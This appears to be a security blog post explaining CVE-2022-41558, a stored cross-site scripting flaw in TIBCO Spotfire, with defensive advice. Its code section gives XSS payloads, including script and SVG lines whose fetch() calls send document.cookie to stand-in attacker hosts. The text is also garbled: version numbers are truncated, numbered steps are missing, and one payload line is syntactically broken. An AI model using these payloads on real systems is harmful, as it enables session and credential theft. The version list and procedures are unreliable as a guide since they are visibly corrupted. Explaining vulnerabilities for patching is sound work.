If your company uses TIBCO Spotfire to process, display, or share business data, you must pay attention to CVE-2022-41558. This vulnerability lets attackers inject persistent (stored) JavaScript code into Spotfire projects, and only needs a network connection and minimal user privileges. With some social engineering, your data analysts could be unknowingly running malicious scripts.

This long read explains how CVE-2022-41558 works, why it’s dangerous, which versions are impacted, and what proof-of-concept (PoC) exploit looks like in action. If you’re on one of the affected TIBCO Spotfire products—Analyst, Desktop, Server, or AWS Marketplace—you need to patch ASAP.

[References and Further Reading](#references)

## What Products and Versions Are Affected

11.4.8 and below, 11.5., 11.6., 11.6.1, 11.6.2, 11.6.3, 11.7., 11.8., 11.8.1, 12.., 12..1, 12.1.

If your version is listed above, update immediately.


## How the Vulnerability Works

TIBCO Spotfire saves this input without proper sanitization.

- Later, when someone else (like a data analyst or admin) loads the Spotfire file or project, that input is rendered _as HTML_ in their browser or Spotfire client.
- If the input contains malicious JavaScript (like <script> tags), it will execute with that user's privileges.

Attackers only need to trick another user into opening or viewing the visualization.

- Sensitive data in the user's session (tokens, credentials, sensitive numbers) can be stolen or manipulated.


## Code Snippet: Example XSS Payload

Let’s say an attacker is allowed to add an annotation, note, or custom label in a Spotfire dashboard.

They could inject the following payload

<script>
  // Exfiltrate cookies to attacker's server
  fetch('https://evil.example.com/?cookie='; + document.cookie)
</script>

Or, to simply pop up an alert (classic PoC)

<script>alert('XSS by CVE-2022-41558');</script>

Realistic Attack Vector

Some fields might filter script tags, so an attacker could use SVG or <img> tags with event handlers:

<img src="x" onerror="alert('XSS PoC in Spotfire')">

Or using an SVG

<svg/onload="fetch('https://evil.attacker.com/steal?x='+document.cookie)">


## Step-by-Step Attack Scenario

Attacker logs in to Spotfire with a legitimate user (maybe low-privileged).

2. Creates a new Analysis file, or edits an existing dashboard with permissions to annotate or label.

Execute actions on behalf of the analyst

## How to Defend Your Environment

TIBCO has released hotfixes and updated versions.

→ Download TIBCO Spotfire Updates

Review dashboards and Analysis files shared by users you don't fully trust.

3. Limit Who Can Annotate/Edit:

Use network monitoring to detect unexpected traffic to unknown servers.

## References and Further Reading

- TIBCO Security Advisory – CVE-2022-41558
- NIST NVD Entry – CVE-2022-41558
- OWASP XSS FAQ
- TIBCO Spotfire Product Updates

Conclusion

CVE-2022-41558 shows why even products used mostly behind corporate firewalls can present security risks. If you use TIBCO Spotfire Analyst, Desktop, Server, or the AWS version, check your version, patch now, and educate your team. Stored XSS bugs linger in shared files for years—don’t give attackers an easy path.

Stay updated, patch regularly, and keep your analytics safe!

*For any questions or Spotfire security tips, feel free to comment below.*

Timeline

Published on: 11/15/2022 19:15:00 UTC
Last modified on: 11/18/2022 21:29:00 UTC